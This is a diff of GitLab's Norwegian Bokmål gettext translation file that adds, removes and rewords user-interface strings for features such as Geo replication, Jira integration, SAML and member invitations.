msgid "Expand sidebar"
msgstr "Utvid sidepanelet"
@@ -12356,6 +12687,9 @@ msgstr "Utforsk offentlige grupper"
msgid "Export"
msgstr "Eksporter"
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr "Eksporter gruppe"
-msgid "Export issues"
-msgstr "Eksporter saker"
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr "Eksporter prosjekt"
@@ -12401,9 +12729,6 @@ msgstr "Ekstern ID"
msgid "External URL"
msgstr "Ekstern URL"
-msgid "External Wiki"
-msgstr "Ekstern wiki"
-
msgid "External authentication"
msgstr "Ekstern autentisering"
@@ -12425,14 +12750,17 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
-msgstr "Ekstern wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
+msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
-msgstr "Den eksterne wikiens URL"
+msgid "ExternalWikiService|The URL of the external wiki"
+msgstr ""
msgid "Facebook"
msgstr "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr "Mislyktes i å installere."
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr "Klarte ikke å laste inn tilordnede. Vennligst prøv igjen."
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr "Mislyktes i å laste inn stempler. Vennligst prøv igjen."
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr "Mislyktes i å laste inn milepæler. Vennligst prøv igjen."
@@ -12608,9 +12945,6 @@ msgstr "Mislyktes i å fjerne et Zoom-møte"
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr "Mislyktes i å fjerne speilvendingen."
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr "Mislyktes i å oppdatere-sakerstatus"
-msgid "Failed to update issues, please try again."
-msgstr "Mislyktes i å oppdatere saker, please try igjen."
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr "Filtrer etter %{issuable_type} som for øyeblikket er stengt."
-msgid "Filter by %{issuable_type} that are currently opened."
-msgstr "Filtrer etter %{issuable_type} som for øyeblikket er åpne."
+msgid "Filter by %{issuable_type} that are currently open."
+msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr "Filtrer etter status"
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr "FogBugz E-post"
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr "For mere info, les dokumentasjonen."
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr "For mer informasjon, gå til "
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr "For mer informasjon, gå gjennom %{link_start_tag}Jaeger sitt konfigurasjonsdokument%{link_end_tag}"
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr "Utgrein prosjektet"
msgid "Fork project?"
msgstr "Vil du utgreine prosjektet?"
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr "Utgreinet fra"
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr "Utgreinet fra et utilgjengelig prosjekt"
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr "Å utgreine et kodelager vil la deg utføre endringer uten å påvirke originalprosjektet."
-
msgid "Forking in progress"
msgstr "Utgreining pågår"
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr "Mislykket"
@@ -13654,6 +14003,15 @@ msgstr "Pågår"
msgid "Geo|In sync"
msgstr "Synkronisert"
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Ikke synkronisert enda"
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr "Avventer synkronisering"
@@ -13714,6 +14078,9 @@ msgstr "Prosjekter i enkelte grupper"
msgid "Geo|Projects in certain storage shards"
msgstr "Prosjekter i visse lagringsskår"
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr "Laste ned på nytt"
@@ -13726,6 +14093,30 @@ msgstr "Fjern oppføring"
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr "Synkroniser på nytt"
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr "Status"
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr "Synkronisert"
@@ -13765,6 +14159,9 @@ msgstr "Synkronisering mislyktes - %{error}"
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr "Synkronisering av %{itemTitle} er deaktivert."
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr "Ukjent tilstand"
msgid "Geo|Verification failed - %{error}"
msgstr "Verifisering mislyktes - %{error}"
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr "Venter på planlegger"
@@ -13843,6 +14243,9 @@ msgstr "Ã… sette i gang med utgivelser"
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr "GitLab-brukernavn"
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr "GitLab vil kjøre en bakgrunnsjobb som vil opprette pseudonymiserte CSV filer av GitLab-databasen. Disse vil bli lastet opp til den konfigurerte objektlagringskatalogen."
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr "Gitea-importering"
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr "Gitlab Pages"
@@ -14137,9 +14564,6 @@ msgstr "GÃ¥ tilbake"
msgid "Go back (while searching for files)"
msgstr "Gå tilbake (mens du søker etter filer)"
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr "GÃ¥ til fullskjerm"
@@ -14269,16 +14693,13 @@ msgstr "Grafana-nettadresse"
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
-msgstr "API-sjetong"
+msgid "GrafanaIntegration|API token"
+msgstr ""
msgid "GrafanaIntegration|Active"
msgstr "Aktiv"
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr "Grafana-URL"
msgid "GrafanaIntegration|Grafana authentication"
msgstr "Grafana-autentisering"
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr "Gi tilgang"
@@ -14347,6 +14771,12 @@ msgstr "Gruppe-URL"
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr "Gruppeavatar"
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr "Sertifikat-fingeravtrykk"
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr "Oppsett"
@@ -14551,7 +14984,10 @@ msgstr "Standardrolle for nye brukere"
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr "Grupper å synkronise"
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr "Grupper med tilgang til %{strong_open}%{project_name}%{strong_close}"
-
msgid "GroupsDropdown|Frequently visited"
msgstr "Ofte besøkt"
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr "Koble til kodelagre fra"
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr "Om %{time_to_now}"
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr "Under arbeid"
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr "Standard "
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr "Ugyldig pålogging eller passord"
-
msgid "Invalid OS"
msgstr "Ugyldig OS"
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr "Sak publisert på statussiden."
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr "Saksoppdatering mislyktes"
@@ -16843,6 +17285,9 @@ msgstr "Saken ble lukket av %{name} %{reason}"
msgid "Issue weight"
msgstr "Saksvektlegging"
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr "Alder"
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr "Saker lukket"
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr "Saker med kommentarer, fletteforespørsler med differ og kommentarer, stempler, milepæler, utdrag og andre prosjektenheter"
@@ -16993,6 +17441,9 @@ msgstr "Det ser ut til at det for øyeblikket ikke er tilgjengelige data for kod
msgid "It's you"
msgstr "Det er deg"
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr "Skru på Jira-saker"
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr "Jira-prosjektnøkkel"
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr "Denne funksjonen krever en Premium-plan."
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr "Brukernavn eller E-post"
@@ -17389,15 +17861,6 @@ msgstr "Tastatursnarveier"
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr "Nøkler"
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr "Stempel ble opprettet"
@@ -17691,6 +18157,9 @@ msgstr "Lær hvordan man aktiverer synkronisering"
msgid "Learn more"
msgstr "Lær mer"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr "Lenken er kopiert"
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr "Lenketittel"
@@ -18158,6 +18630,9 @@ msgstr "Last inn flere brukere"
msgid "Loading"
msgstr "Laster"
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr "Administrer alle varsler"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "Administrer programmer som kan bruke GitLab som OAuth-leverandør, og programmer som du har autorisert til å bruke kontoen din."
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr "Administrer programmer som du har autorisert til å bruke kontoen din."
@@ -18371,6 +18849,9 @@ msgstr "Manifest-filimport"
msgid "Manifest import"
msgstr "Manifest-importering"
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr "Merk som oppklart"
-
msgid "Mark this issue as a duplicate of another issue"
msgstr "Merk denne saken som et duplikat av en annet sak"
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr "Forslag:"
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr "Maks kapasitet"
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr "Medlemmer"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr "Fletteforespørsel"
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr "Fletteforespørsels-commiter"
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr "Godkjenninger av fletteforespørsel"
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] "Milepæl"
msgstr[1] "Milepæler"
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr "Speiling ble vellykket skrudd av."
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr "Manglende OAuth-konfigurasjon for GitHub."
@@ -19701,6 +20179,9 @@ msgstr "Mer"
msgid "More Information"
msgstr "Mer informasjon"
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr "Mere Slack-kommandoer"
@@ -19836,6 +20317,9 @@ msgstr "Ikke aktuelt"
msgid "Name"
msgstr "Navn"
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr "porter %{ports}"
msgid "NetworkPolicies|ports/protocols"
msgstr "porter/protokoller"
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr "Aldri"
@@ -20199,9 +20692,6 @@ msgstr "Ny Jira-import"
msgid "New Label"
msgstr "Nytt stempel"
-msgid "New Merge Request"
-msgstr "Ny fletteforespørsel"
-
msgid "New Milestone"
msgstr "Ny milepæl"
@@ -20367,6 +20857,9 @@ msgstr "Neste"
msgid "Next commit"
msgstr "Neste commit"
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr "Neste fil i diff"
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,8 +20974,8 @@ msgstr "Ingen feil å vise."
msgid "No estimate or time spent"
msgstr "Ingen anslag eller tidsbruk"
-msgid "No file chosen"
-msgstr "Ingen fil er valgt"
+msgid "No file chosen."
+msgstr ""
msgid "No file hooks found."
msgstr "Ingen filkroker ble funnet."
@@ -20529,6 +21025,9 @@ msgstr "Ingen lisens. Alle rettigheter forbeholdt"
msgid "No matches found"
msgstr "Ingen treff"
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr "Ingen samsvarende stempler"
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr "Ingen startdato"
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr "Ingen mal"
@@ -20787,6 +21289,26 @@ msgstr "Varslingsinnstilling - %{notification_title}"
msgid "Notification settings saved"
msgstr "Varslingsinnstillingene ble lagret"
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr "Antall Elasticsearch-skår"
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr "Antall LOC per commit"
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr "Behandle profiler"
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr "Kjør skanning"
